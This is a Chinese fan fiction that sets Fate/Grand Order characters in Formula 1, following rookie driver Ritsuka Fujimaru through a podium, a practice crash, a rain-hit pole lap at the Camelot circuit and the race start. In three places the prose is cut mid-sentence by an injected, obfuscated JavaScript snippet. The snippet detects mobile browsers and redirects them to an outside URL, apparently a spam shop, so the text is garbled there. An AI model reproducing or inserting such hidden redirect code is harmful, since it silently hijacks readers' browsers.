“嘿嘿——”意味不明的笑声带着突如其来的直抒胸臆,得意的车手不忘单手驾驶,向观众席猛挥自己的另一只手,“感谢大家!!!第一个领奖台!!!哦!!!” “迦勒底车队五年来的第一个领奖台,终于登场了!” “曾经的时钟塔车手,今天的迦勒底老板——戈尔德鲁夫在场边是哭了吧,跑出来和藤丸立香拥抱的速度比本来就在维修区通道上的车组还快。” 没来得及按部就班先把头盔和防火面罩脱掉,立香匆匆拨开耳机等物件后便先迎上车组人员在挡板后早已在等待的拥抱,她的笑被头盔挡在护目镜之后,泪意与喜悦都在艳阳高照的晴朗天气下无处隐藏。 不知道都和谁说过恭喜、同喜的话语,一路拥抱过去的立香终于在正赛前三名的冷却室中找到安放自己快乐心情的位置。她越过混采区与人来人往的后台,满心欢喜地和迎上来的加哈拉德先分享握手再分享拥抱。 “芭~万~希~”她拖着语调,眉梢带笑看向结束采访的来人。 “哼,下一次没有这个成绩就回家做巧克力吧。”不情不愿地贴面交换汗水与快乐,芭万希屈指弹她的额头。 “好哦好哦,出炉的第一份巧克力一定先送你家~”立香回过头去,语气轻快,“那第二份一定是给现在也在场的加哈拉德,啊,说起来玛修误机要晚一点再到。” “好,恭敬不如从命。”擅长沉默的今日冠军从善如流地改口,“那就晚些再说。” 冷却室中的比赛回放,轮流的混采,有一搭没一搭但是一直聊天的领奖环节前的领奖台车手巡游。 终于完成所有流程登上领奖台的立香品了一口自己过去曾梦寐以求的一级方程式香槟互喷环节,随即面色从快乐到扭曲地放下了手里的香槟,她在镜头难以拍到的位置吐舌以示本赛季的新香槟赞助商肯定不行的信息:“怎么更难喝了……” “不,”顺手从她手中接过香槟瓶的加哈拉德语气平静,“你只是喝不来酒而已,玛修刚到,今晚要一起去吃饭吗?” 18.卡美洛赛道1 背靠背的赛程安排,但下一站是跟回家没差的大不列颠大奖赛。喜得领奖台后步伐轻松的立香先飞工厂,又回总部,再到医院列行复查。繁忙的日程表上,要一直到商务活动行程结束后,才属于步伐已经沉重下来的回家时刻。 没空胡思乱想,也没空放空自己,待到匆匆忙忙终于能够躺回自己床上,有空开始思考做些什么来娱乐的时候,窗外也已经是凌晨的夜晚了。明明困极,却仍不愿意安分睡去的藤丸立香沉思片刻,一番左想右想地后,无气无力地漫步到自己定制的赛车模拟设备面前,如同一滩软绵绵的橘子冰激凌一样无意识地滑入座椅,直到终于意识到自己的身体已被方向盘绑架之时,她的手早已有气有力地摁开模拟器的屏幕。 “你的意思是,虽然自己不久前在开车比赛,大后天也要准备开车比赛了,而昨天晚上也还是不甘寂寞地模拟器通宵开车是吗?” “为什么话从达芬奇亲的嘴里说出来这么刺耳……”感到心虚的立香目移,手上一勺又一勺地解决掉从自家工程师手里薅来的宝贵战利品蛋糕,“这难道不是我努力、奋斗、一心向好成绩的优秀品质所在吗?!” “你问问自己说这话的时候心虚不心虚,”莱昂纳多伸手虚虚地点她的额头,“又不是拯救世界,没日没夜地开,不知道的还以为迦勒底车队要虐待刚刚出过事故的车手,希冀在主场再拿一个领奖台。” “怎么会~”使劲撒娇的立香往大人的身边挪位置,借花献佛地把桌上罗玛尼送来的其他慰问品往达芬奇嘴里送,“罗玛尼说是雷夫教授出差带回来,但是他和玛修都不爱吃这个,所以送来给我解决了,据说都很好吃哦。” 达芬奇的视线从桌上这堆草莓味、草莓味和草莓味的各式烘焙甜品上扫过,眼神中饱含对男同事和对男同事的男同事的同情,她语带微妙地问立香:“雷夫回来了?” “对,”毫无所感、更毫不知情的立香回答,“毕竟玛修要准备升学了嘛。” 在比赛开始前还抽空回了学校一趟的藤丸立香凝视已经被挂上校友榜的自己,有些困惑地思考玛修来这样的学校到底是好是坏——“说到底,我连一个分站冠军都还没有拿到吧?!” “诶,新秀第四站就有一个领奖台也非常厉害的啦,而且你在一级方程式以外的地方拿过不少的冠军吧?”陪同者希翁摸了摸下巴,“不过我没有在正常学校里上过学,升学择校的话还是问尼莫比较靠谱一点。” “恕我直言,”在工作时间突然被问到的尼莫语气平静地指出,“玛修自己肯定已经想好了。” “想好一定要继续当立香的后辈是吗?”工作中的穆尼尔只是路过地插嘴道。 带着“为什么大家好像都知道点什么”的困惑,立香迈着慢慢悠悠的步伐进入正赛前的媒体日。记者锲而不舍与长枪大炮穷追不舍的镜头时刻,誓要把车手们的每一个表情都刻进胶卷里,这种热切的追求,在某种程度上,也使得车手们个个看起来人模人样,即使是装也能装出灿烂笑容与礼貌且节制的回答——哪怕面对再离谱、再犀利的提问。 没有走神但是开小差,立香和队友借着别的车手正在被提问的间隙避开麦克风窃窃私语,随即惨遭主持人不打算放过任何一位车手的针对性连环问。 “立香你对卡美洛赛道的印象怎么样?” “伦敦天气多变,一年四季都可以在一天之内,立香你对明天的练习时间、排位赛和正赛的天气都有怎么样的想法?” “会更加期待雨天带来的可能性吗?” “立香对付费车手的这类言论怎么看?” “据说正赛开始前的车手巡游会有特殊环节,立香对此会有什么特别的期待吗?” “作为多个车队的主场赛道,立香更看好那个车队能在这里拿到最多积分呢?” “立香会更偏向卡美洛圆桌,还是妖精圆桌呢?毕竟你和这两支车队的四位车手关系都很好。” “那立香是更欣赏亚瑟的驾驶风格还是摩根的呢?” …… 一身冷汗,被主持人灵魂拷问得面色苍白,立香环顾四周,确认观众席没有人因为自己的端水话语再起“你支持亚瑟还是摩根”的争端后,偷偷松了一口气。昔日场上双退、场下人肉搏斗的“队内纠葛”,正逐渐演变成两支队伍粉丝之间的互撕风云,时至今日仍然贵为围场美帝的威力实在不可小觑! 有时会参与身边人CP同人创作的立香放下麦克风,她在莫德雷德面色古怪的被采访(拷问)时刻,为对方掬了一把泪。然后火速回归自己的说小话环节,试图和卡多克讨论出玛修的升学择校最优选。 “可是,玛修升学,雷夫回来做什么?”卡多克终于回忆起自己一开始就觉得不对劲的地方。 “啊……原来罗玛尼没有说过吗?”立香歪头,“虽然她的哥哥是加哈拉德,但玛修的监护人是雷夫教授和罗玛尼哦,所以我和玛修其实是从小到大一起长大的~~~” “噢这样……?”正要顺口回答“原来如此”的卡多克猛地停顿,“哈?!” 第一次自由练习开始拉表的卡美洛赛道天气晴朗,赛道干燥,虽然略有云层遮盖实属美中不足,但人们不能对一个多年不见阳光的地方有过分的要求。至少半个本地人藤丸立香已经很满足了,她耐心十足地把防火服、防火面罩一层一层往身上套。 今晚能够久违地和玛修两人共进晚餐的好消息,让她的快乐值始终保持在稳定的高涨水平。在车队确认交通情况后搭载硬胎驶出维修区,全油门奔向一号弯的高速右弯,毫无犹豫之情的车手在准备圈的暖胎时刻就已经开始晚刹试抓地力。 察觉到后轮温度不够稍有打滑迹象的立香选择放平,在意识到左前轮面对高速连续弯施加的巨大横向载荷产生较高磨损后,当即开始无线电频道汇报具体情况。 无需适应便对赛道特性与阵风影响驾轻就熟,过去常在此地训练与比赛的经验和身体记忆越过大脑开始工作,她借此停顿思绪,有些迟疑地思考起今晚的菜单是否需要更改原先预定好的菜色。 “如果还是打算吃法餐的话,不建议去找红老板要建议噢。” “诶,那改回去吃日料? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056037|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”立香对tr里的建言献策略显纠结,“8号弯的抓地力聊胜于无。” “收到,我们正在查看数据回传。” “低速区域都有这个毛病,”继续考虑晚餐选择的立香不忘认真工作,“12号弯的刹车也是——” “Copy,低速回头弯可以暴力点。” “好的,只要刹车还能工作的话,我会的。” 从连续的减速弯中飞驰而过,寻找最流畅走线的立香尝试着以尽可能更快的速度冲上发车直道,计时段第三段上略显繁忙的赛道路况阻碍了她的出弯。在拥堵交通面前选择走外线越过的车手,用着与“小心翼翼”毫无关系的晚刹,心态上小心翼翼地开过。 出弯质量决定发车直道尾速,也影响正赛直道末端的超车,她控着油门驶过加速弯的弯角,只给从自己身边路过的其他车留下一抹扫视。终于完完整整跑完一圈准备圈,确认赛车正式进入工作状态后的立香准备开始自己重油硬胎的正赛模拟。 高速弯下压力与直道低风阻,在一练刚刚开始的时间里实属两难的赛车平衡设定,什么车都打算尽量开好的车手没在无线电频道里质疑自己屁股底下的车是否与高效率空气动力学无关。她快速完成左-右-左的剧烈转向,在高达五个G的横向加速度面前调整方向,做好准备即将进入直道。 两侧的观众席上有突如其来的热情高涨、掌声雷动,头盔之下什么都没听到的立香从工程师无线电频道的“copy”声中敏锐地获取额外信息,她问:“维修区通道怎么了?” “没有事故,但有主场的世界冠军登场了。” “这可多人了,一直在场的也有好多个主场冠军。”漫不经心回答罗曼的立香汇报着轮胎情况,突兀地想起是否是因为退役已久的围场美帝突然合体登场——这可是两人的主场!卡美洛赛道双退之圆桌初代の骨科定情地!RPS创作热情猛地支配起她的大脑。只是开车当前,她只得强忍好奇欲地继续专注驾驶,“13号弯有一台哈桑停了下来。” “收到,赛会刚刚出示黄旗,暂不清楚具体情况,但你可以先乘机进站。” “Copy。” 驶出18号弯后修改路线为维修区通道的车手更为明确地听到了喧嚣的声响,场地两侧的圆桌旗帜像翻滚的海洋,将蓝色与银色送入漫天遍野的晴空。立香隔着护目镜与大屏上出现的三个人对视,发自内心地为被夹在中间的人感到痛苦。 她在获得换胎完成、允许释放的安全信号后飞速出站,直奔一号弯以逃离爱恨两重天、喧闹非常的观众席。搭载软胎的车使用着远高于当前最高单圈圈速的速度飞驰而过,只给空旷的赛道留下不断回荡的引擎声与相机之中的一抹残影。 微笑着扫过镜头,被自己两个曾经的学生夹在正中间的卡美洛圆桌领队皮笑肉也笑,梅林从从容容地离开两人明明在笑但仍温度异常的观赛台,头也不回地回到自己的工作状态中去。 “我们不允许出现主场双退,”他的话语穿过无线电频道来到两位车手的耳边,“无论是队内,还是两支圆桌之间。” 19.卡美洛赛道2 “如果是想要拍出更好的画面,更好地学习素描的动态捕抓,到赛场上说不定能有意外之喜噢~”当时的大人是如此诱惑道,“既然卡丁车还不够的话,那今天我们就去一级方程式的现场,好不好?” 无法反驳对方说的话总是意外的很有道理,小小立香牵着大人的手再一次走进了家门口边上引擎声轰轰隆隆的围场中,那里总是有很多人,远比卡丁车的场地还要大、还要多人——车手、车组人员、记者、粉丝、赛会工作人员与旁观者。毋庸置疑的是,那时的她也只是个旁观者。 那时的时钟塔车队还叫时钟塔,尚未经历经济危机,导致偌大的时钟塔集体上下均决意撤退F1,然后被时钟塔天体科的阿尼姆斯菲亚家族收购变成迦勒底队。也没有因为掌权者家族差点破产,险被收购变成异星队。更还未因阿尼姆斯菲亚的掌舵者突然去世群龙无首,而堕落为垫底车队,最后惨遭穆吉克家收购,要时至藤丸立香成为车手、又喜提万能之人の正常车的今日才爬回领奖台。 作为这个车队曾经的车手,手持时钟塔集团法政科股份的戈尔德鲁夫每次抵达围场观赛,都会先领着立香进入时钟塔的P房兜一圈,才回到贵宾席安坐下来。 对于陌生又不太陌生的一级方程式世界,对每个地方都会坦然且满怀好奇心地表达自己所有困惑之处的立香,常要在得到所有问题的答案后才会继续安分坐定定地等待正赛开始。尚未等来赛车从面前驶过的她没去看大屏幕,立香注视起天边的乌云:真糟糕,是个雨天。 卡美洛,圆桌王朝的开始、加冕与巅峰辉煌之地,以及出现八岁孩童眼前的王朝崩坏之时。 内斗果真是个好词。阿尔托莉雅-潘德拉贡,摩根-勒菲,同母异父、血脉相连的亲人,共享成长所有记忆的姊妹,一个房间里的同床共枕,卡丁车时最好的队友,无话不说的朋友乃至挚友,梦想未来要一起为同一支车队效力、亲密无间的队友,以及横在彼此争夺世界冠军路上的阻碍。这些所有的转变,都只需要成为F1围场内同一支车队都在争夺冠军的两位车手就可以实现了。 新规则下的火星车让整个围场变成了两台圆桌的统治级斗争,而两位天才车手的互不退让又让原本无聊的F1变得有趣又莫测。 那天也是一个雨天,但雨不大,洋洋洒洒飘落几滴只打湿了两位圆桌车手的脸颊。起步时的相争,每一圈都在轮对轮的相争,连进站也需逼得领队与车组左右为难,生怕一个不测斗至双退——于车队而言最糟糕的局面:零分收场。 圆桌车队的主场比赛第一次这样沉默,只敢屏气不敢呼吸的压抑氛围,如同车手两人坐于万人观众席之上,逼迫主场观众必须做出只能选择一个的抉择。 那天其实,雨真的不大,远比从两位圆桌车手、积分榜上领跑一二的世界冠军争夺者脸上淌下的汗水要少,甚至于,要少于两台车在发生碰撞后一同翻滚入砂石地时所掀起的尘土飞扬。 头盔与护目镜遮盖了所有,没有车手出现任何的冲动行为,连功亏一篑的扔方向盘都没有。生死极限之间的肾上腺素仿佛从未存在过,只有冷漠、漠视与无话可说的擦肩而过。 7号弯的重刹区是个事故高发区,不打算让车的前车,一味进攻的后车,始终无法真正调解队内纠纷且领队的有所偏向早已让另一位车手倍感愤怒的车队,所有的意外都有着属于自己的天时地利人和。 激烈的弯中并排攻防,肩并肩驶入弯的两车之间,前车过晚刹车,后车线路遭挤压,这其中或许没有存在任何过界的驾驶失误,但意外的必然性常常只存在于驾驶者的一念之间。来不及躲避而追尾前车的后车侧向碰撞,直挂前车后轮,爆胎一瞬的火花四溅中,本就因刹车过晚即将直线冲出赛道的前车受击轮转着被弯心甩上外侧护墙,后车受损陷入砂石地中再无法自行开回维修区——圆桌主场,双车退赛。 对于这个车队积分笑傲围场、车手世界冠军已在射程之内的圆桌火星车称霸F1的赛季,两个大不列颠车手叠上大不列颠车队的双重主场但双车退赛的赛果,实属惨烈至极。 立于第三者视角的圆桌领队梅林脸上没有表情,也未曾甩耳机大怒或冷笑这个车队我不带了,他只以永远不变的旁观者面容注视一切,在tr里冷静地分别询问两位车手:“Are you ok?” “还好吗?立香?”工程师在迦勒底的无线电频道里询问开车上墙的车手,“我们确认左前爆胎,悬挂受损,你是否还能行动?” “……没事,我很抱歉,这都是我的错,”走线滑出赛道直撞护墙的立香懊悔于自己的莽撞,一练后下起微微小雨又很快恢复晴朗的天气状况让赛道路面变得有些捉摸不透,光头胎还试外线抓地力的立香成为二练第一位吃螃蟹然后撞墙的车手,“目前可能无法自行将车开回维修区,我走回来,非常抱歉。” 她拔掉方向盘,从halo中探出身体,借力跳出座椅,脸带愧疚地抚摸车身,在推行赛车无方后,只能跟随赛会人员的“护送”回到迦勒底的P房,无法行动的车将由赛会调遣吊车带回。立香没脱头盔,在镜头的追随下始终保持沉默地回到自己的休息室,只与车组人员认真道抱歉。诚恳地说,她近日来确实一直有些过分紧张。领队拍拍车手的肩安慰“这没什么”,眼神示意立香回去休息。 车队当然不会过分期待一位新秀车手在经历了一场重大事故后仍然能够连续不断地登上领奖台,又或者说,对于一个一年前连进入积分区都属于希冀的车队而言,新赛季才第四站便已连续获得多个积分与一个领奖台,多么不可思议的成绩!这可是个曼妙到能让穆吉克集团股价连涨数日的好成绩! 不够的,但这仍然是不够的。 在只剩下自己的世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们都是不同的人,无论怎么相处都会和过去不同,但我想我自己或许有些成长,怎么样都不会再和上一年一样了。”重点偏移的卡多克开始使用pr教的话术。 “嘿老伙计们,或许来采访我能得到更好的新闻?”言语带笑的戈尔德鲁夫走近前来,用手拍拍了自家车手示意可以先回去开会,“毕竟,我的多重身份虽然没有隔壁领队这么有爆料点,但上一站领奖台总是值得多问的嘛。” “那您对明天的两支圆桌有什么看法?”顺水推舟改口的记者笑道。 “哎——我只知道立香如果后天还在领奖台上的话,领奖台上的香槟建议先换成苏打水。”金发老头耸肩,“毕竟总问些热门人物,多少让别的车队吃不消,围场又不能改名大不列颠围场,总问些大不列颠人有什么意义?等待后天正赛的双退名场面再次出现在七号弯?” 20.卡美洛赛道3 夜雨敲窗,凌晨时分的雨与晨间貌似永远散不开的雾笼罩在卡美洛赛道上,使得赛道温度始终不得上升,湿漉漉的路面情况在四月份的大不列颠似乎终究难觅快速回归干地的可能性。第三次自由练习的开始,转移方向到湿地的车队正在调整赛车设定,吸取教训的藤丸立香搭载半雨驶出维修区通道。 迷蒙的眼前,因天空阴云密布而换为完全透明的护目镜,车手从微弱到薄不可见的前车所带起的水雾中获取了当下其实已经完全停雨的信息。湿地的第一圈常常危险,半雨胎所需的进入准备远比光头胎更多,迈着左右左右的摇摆步伐,蛇步前进在赛道上的赛车暴力又温和地做着暖胎准备圈。 2-5号连续高速弯的湿滑路面拥有着令赛车轻松失控的魔力,避开常规赛车线的立香转而寻觅附着力更好的雨线,以避免赛车线上堆积的橡胶颗粒遇水后异常湿滑然后干脆利落地送走自己的可能性。 排位赛当前更需谨慎,致力于让自己更快地进入人车合一的状态的车手短暂地放置了自己寻找换胎时机的迫切心情,一心一意地扫水、画龙,好助力赛道的迅速变干。 “Box,box,”迦勒底tr中的召唤来自工程师罗玛尼,“我们需要调整一下,可以在下一圈进站。” “Copy,”立香稳稳把控方向盘,“弯中稳定性不太行,轮胎进入工作窗口需要的时间还是太长了。” “收到,这边正在做调整。” 更高的下压力设定,更软的悬挂与靠后的刹车比,车队的一切湿地调整都需要圈速成绩来验证。三练到排位赛之间的空余时间并不多,整场FP3下来都没人能换光头胎跑上正常一圈的情况让排位赛的可能性变得莫测,对自己的今日状态还算接受良好,摘下头盔后乱抓头发的立香顶着自己乱糟糟的头发选择戴上帽子。镜头的如影随形不在于是实地抓拍还是记者连环问,本赛季围场车手人均美貌值皆在A+以上的超强脸蛋水平正引无数长枪大炮蜂拥而至。 阴阴天的头顶,下午排位赛可能有较大雨团飘过的天气预报让车队挠头,而赛车的湿地设定究竟效果如何又只剩今早三练的最后一次机会可做参考,每一个出场圈都是堪称货比黄金的重要性。 仍然苦苦寻觅换胎临界点的车手正与赛道上的高压做伴,终于勉强摆脱抓地力不足的立香此刻苦恼于赛车超强弹跳,她在无线电频道里用充分的颤音与车载里跳跃的棒棒糖头盔展示自己即将化身橘子汁的命运:“我们是不是可以考虑下转让海豚跳技术给随便哪一家的水果榨汁机公司?” “收到,”语带忧虑与愧疚的罗玛尼回答,“我们可能还需要优化刹车。” “啊……我已经每一圈都在提前刹车了!”立香悲之,“这样下去SB-18改名叫松油滑行小火车算了!” 电掣风驰般穿梭过维修区通道的赛车车身上银白两色夹着五彩斑斓的黑,换上主场新涂装的SB-18在赛道上闪得观众席纷纷道晃眼,只是开车的司机什么也看不到地只是一味开车。立香在银闪闪的头盔覆面下咬牙切齿,试图用自己的牙齿与舌头代替屁股底下的动力单元和绿色半雨胎以换取更快但是不跳的驾驶。 她深沉地思考了一番让车直接起跳是否能够换取在空中转体四周半的高度、转速与滞空,毕竟300km/h的时速和覆盖率如此之广的滑行,实在是搞jumper的至尊实力与先天优势吧?!昨日和玛修在双人晚餐后观看了正在自己老家举办的霓虹世团赛,始终挥之不去的美丽跳跃正在脑中反复回放,立香锲而不舍地慰问自己被海豚跳摇成浆糊的脑袋,佯装自己只是学滑第一天蹦四周跳的花滑新手,而不是每时每刻都可能被弹跳车弹跳着甩出外太空的车手。 “不,我需要指出的是,这个速度换滞空的逻辑在一级方程式里是不是应该反过来?”罗玛尼在tr中委婉询问进行闲聊安抚。 “你应该附和我,然后把这句话写在pr公告里,用藤丸立香的Email投稿给这一期的卡美洛站棒棒糖。” “……Copy。”可疑地停顿片刻,罗玛尼即答。 下午的排位赛,Q1的拉表开始于连续三位车手13号弯吃路肩太多“滑”入缓冲区或油门没控制好直接上墙的黄旗三连,连车都没来得及开上赛道的立香晃了晃自己的脑袋,她抬头看大屏幕上的黄旗转红旗,头痛地思考现在究竟是刚刚拉表三分钟还是已经三十分钟。 阴晦沉闷的天空有风雨欲来的征兆,在上午三练的末段时间才被换上的光头胎已经光速下班。拥有绿色胎璧的半雨回归上班状态的持续性,难免引来“百无一用是全雨胎”の蓝胎的羡慕之情。 急风骤雨的到来,速度之快,胜过赛道上动如雷霆的赛车。数个准备圈下来只跑了一个飞驰圈的立香皱着脸进站换全雨胎,路面情况糟糕的连赛车线都似溜冰场,低温的打配合让刚干不久的场地再次回归雨地。 只是似曾相识的回忆没能撼动车手飘荡在心底的渴望,换上全雨胎后便直奔准备圈,准备飞驰圈刷新Q1位次的立香在tr里一味“copy”,赛车驶过积水,掀起一层厚不可见的水雾。 所有人都在急剧下降的圈速成绩,让藤丸立香第一个跑出来的飞驰圈始终高居榜首。多个连续高速弯处的雨水正在一层一层地消减抓地力,出现水滑的车一台一台地或事故或spin,先看天气预报再看排位赛实情的赛会痛苦面具地在Q2叫停排位赛——此时恰好有五台车发生事故被出局,相当于还能开的都进了Q2。 从技师撑起的雨伞到被支起的帐篷,从还在车里呆着蹲红旗结束到干脆离开车回P房休息,才下车拿到热水杯还没来得及喝上一口的立香喜提记者身影坚决直奔自己而来的突然中插采访环节。她小步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此起彼伏的刷紫时间段,三个计时段各自拥有自己的最快圈速人选,路过大屏幕下的立香抬头瞥了一眼。占居Q3榜首的名字变了又变,越后做出的圈速越强力,在安全车的短暂出行期间利用黄旗快速进站的立香在半雨圈速愈发缓慢的前提下换胎回到赛道。 著作曾有“前十只要不是第一都没区别”的藤丸车手在自己板上钉钉正赛前十起步的Q3里反复思考,最后还是按捺不住赌博抽卡天性地带着软胎奋力一搏。 十个右弯,八个左弯,共计十八个弯的卡美洛赛道以雨天の命运交响曲著称,善变是这里的特征。软胎第一圈小心翼翼的立香首个飞行圈成绩慢的垫底,第二个飞行圈是天气放晴后的回到中流水平,而卡在Q3结束最后一刻刚刚好完成的第三个飞行圈,单圈速度1:27.498,是榜首。 “藤丸立香——这位初登一级方程式的车手在迦勒底的第一年第五站就为车队带回了七年来的第一个杆位发车!甚至是主场杆位!!多么不可思议、难以想象的,这可是她阔别赛场多时的‘复出’首年,甚至是新秀赛季!!!” 21.卡美洛赛道4 “这台车的工作窗口窄的不行,能调出来,就跑的非常好,一直找不到,就是拖拉机。”如此做出定论的立香在正赛前的队内会议上一瓣又一瓣地扒拉戈尔德鲁夫送来的花,她打着夸张的比方,“100%湿不行,60%干40%湿不行,40%干60%湿可以,干地虽然一般跑得比湿地好,但是又要看下压力,低下压力good,高下压力very good,而低到高之间平均分布的中等下压力统统不行……” “下一站会有更新的升级,但这一站的正赛,”苦苦改车的技术总监语带忧愁,这项中途接手的工作于万能之人而言无异于屎中雕车,其痛苦程度让达芬奇一度想穿越到一年前质问之前的设计人员到底有没有大学毕业,“明天的天气预报是晴天,虽然中途出现下雨情况的湿地可能性不小,但鉴于SB18在这里跑得最稳定的快是目前的调整方向,所以明天会按照这个方向来保持。” “汇总。立香你是杆位起步,需要稳健把控节奏,避免被卷入发车时可能的一号弯事故。”罗玛尼将重心转移回策略总结,“中性胎起步一停切硬胎跑到底是plan A,我们会尽量确保plan A,将第一的位置从发车延续到正赛结束。卡多克P9起步,发车时同样需要避开一号弯的事故可能,轮胎策略上可能需要随机应变,但是plan A同样是一停,plan B需要赌安全车和黄旗时机,plan C的转入时机我们会随时把控。我们都尽量把名次往前挪,都加油。” “收到。”两位车手各看各的屏幕,对面而坐也不曾交换视线,只是异口同声地回了最后一句话后,便起身拉开椅子准备离场——在无意识的同时间里。 天气如此晴朗,如果能一直明亮下去,想必胜利的希望一定不会像这微微小雨敲心窗一样,看起来“遥远”的令人悲伤吧?眼带惆怅等赛开的立香立于发车格等待赛事举办地国歌仪式的开始,她在和身旁车手窃窃私语的同时不忘在360度镜头环绕面前保持良好的形象。 掠过头顶的飞机编队特技飞行表演带来数条颜色各异的彩色喷带。立香微微抬头,在帽檐的遮挡下与微明微暗的天空对视,今日的杆位车手其实一直有些恍惚。 “你不喜欢赛前的车手巡游吗?”她问。 “有点像猴子坐车。”立香托腮,另一只手牢牢地撑着伞,好将阴影留在两人的头上,“虽然没什么感觉,不过和你在一起的话,怎么样都可以吧。” “……你总在说些令人尴尬的话。”她扭过头去,和身旁另一台车上的两位车手挥手。 “嘛——但是今天天气很好哦,”立香笑着看自家队友,“花和天空都明媚的不可思议,似乎是个可以再努力一点的日子。” “说得好像你平时不努力一样。”她吐槽。 “哎呀,总是不一样的~”阳光从她眼眸中掠过,只余波光粼粼的金色,立香仍旧专注地注视她,“不过你会讨厌这样的说法吧。” “或许,”她回以模棱两可的话语,始终未曾回头,“我只是讨厌那些把努力和加油写在脸上,自以为只要如此就能够顺理成章得到认同的人而已。” “那就今天一二带回吧,”车子驶至终点,先行下车的立香向她伸手,“这对于我们来说是很简单的事,不是吗?” “哼,不用你来说。” “立香?无线电测试,声音听不清吗?” “……嗯,”本站正赛P1起步的车手从恍惚中回过神来,“不,声音很清晰,状态良好。” “收到,”停顿了一下,不想在无线电频道中表达太多话外题的工程师还是鼓励道,“别给自己太多压力。” “……啊,”喉咙中有无意义的语气词飘出,头盔遮蔽之下什么表情都无法显露的车手回答,“没有这种事,再多相信我一点吧。” 卡美洛赛道,正赛52圈,全程约307公里,追求极致的高速弯平衡与常常令车队痛苦的空力取舍是这里被称之为高速教堂的部分原因。立香坐于即将开始的正赛发车格P1,卡美洛赛道怪异的共处一个弯道上的发车区虽然会阻挠后排车手的起步,却决不会影响到杆位车手对发车信号灯的信息获取。 她很平静地等待暖胎圈的开始,狭小车座与密不透风头盔的环境是车手已经习以为常的外部,全身上下唯有脖子无法被牢牢固定在赛车上的基础条件促使藤丸立香日渐拥有一个粗脖子。身上的赛车服是配合赛车新涂装的新配色,通体纯白只用黑银两色做点缀的线条感将车手172的身高硬生生拔高了到视觉中的180——如果没有多到爆炸的赞助logo碍眼会更好看。如此做出评价的设计师立于今日的迦勒底P房内,哈贝特洛特对赛车没什么别的见解,只是犀利地点评迦勒底的车和行走的广告架子没什么两样,然后在啥规则都没懂的情况下掏出耳机开始听解说。 “欢迎来到今天的大不列颠大奖赛!卡美洛赛道,赛历中最为经典的一站,也是无数车手都另眼相看的高速教堂,上一年的领奖台分别是芭-万希、莫德雷德和加哈拉德。当时的车手积分领跑者卡斯特排位赛出现故障Q2退出,正赛前因为更换动力单元被罚退到维修区起步,随后一路追至P4,可以说是两支圆桌包揽所有的一战。” “但昨天的杆位车手不是圆桌四位车手的任何一位,而是来自同样主场作战的迦勒底的藤丸立香,她在自己的新秀赛季便为这支上一年车队全年积分倒数第一的车队带回一个久违数年的杆位,还是在卡美洛这样的赛道,有力地驳回了那些说她车队关系户、付费车手的言论。” “顺带一提她的队友卡多克,这位早她几年升入一级方程式的车手明天P6发车,与他上一年卡美洛站的P14发车相比是非常出色的进步。F1在一定程度上,说到底还是个车绝对要大于车手的世界,好到一定程度的好车是毋庸置疑地能够无视掉车手之间的区别的,这也是Fia一直苦苦搞QP预算帽、测试里程要求等各种限制大车队砸钱的原因。” “但今年迦勒底爬起来的原因应该很大部分不是基于这个,而是他们新的技术总监、造车牛人的到来。从每一站的极限单圈成绩和长距离稳定性来看,迦勒底这个赛季的车跟上一年同样用本田引擎和相似设计理念的DB-17相比是完全升级迭代后的超强版本。尽管SB-18在找工作区间这方面确实是大家肉眼可见的挣扎,但是一旦找到舒适区就真的能跑得比圆桌还快,真可谓不砸钱只砸头脑的好案例。” “所以昨天的排位赛中,在雨停后再次大胆换胎第一个吃螃蟹的藤丸立香勇敢地卡着点,在最后的时间里利用逐渐变好的路面情况跑出杆位成绩。这其中虽然不无车的优势,但是一位新秀车手能做到这个地步,实属心态和技术上的超强加成了,更何况她前几年真的是一点车都没在赛场上跑过。” “圆桌的车,其实优势和迦勒底的不一样之处是,圆桌什么赛道都能很快地进入工作区间,什么路面情况都能轻松跑好,没有前置的挣扎流程,和Alter、罗马今年这种既吃赛道又吃天气的车有着天壤之别。这也是这两豪门车队近年来都只能在自家主场、优势赛道上找找面子的原因。” “暖胎圈顺顺利利,所有赛车均已回到发车格,翘首以待的卡美洛站正赛即将开始!” “五盏红灯逐一亮起,同时熄灭——大不列颠大奖赛正式开始!” 头盔很闷,被严严实实包裹出来的真空地带正在保护着自己的大脑,好让耳朵不被高压破坏。不断加速的眼前,只能通过被halo分割为复眼的护目镜之外来获取模糊的外部视区。藤丸立香很平静,又或者说,她自认自己很平静。 专注起步,守住内线,跟随身体下意识而动的强大反应力甚至不需要接收到红灯全灭的信息,弹射而出的身体与赛车自然而然地来到最流畅的走线上。她略过一号弯可能的任何事故,咬着内侧飞奔而去,甩开原本紧跟在自己身后的所有车。 耳边有情况在汇报,无线电频道中传来罗玛尼冷静沉着类人机的声音,车流密集且车速高的一号弯果不其然地出现事故,多车争抢线路,两车相撞殃及过路车。他强调,离自己最近的后车目前为+4s。 完成回答,“copy”从自己的嘴里飘走了。精准控制方向盘输入,她让赛车自然划出线路,以略保守的节奏往前推,管理好轮胎。车手隐有一种诸事将遂的预感,只是她尚且不敢说出来,生怕乌鸦嘴的可能性害了自己,于是决定先开车为敬。 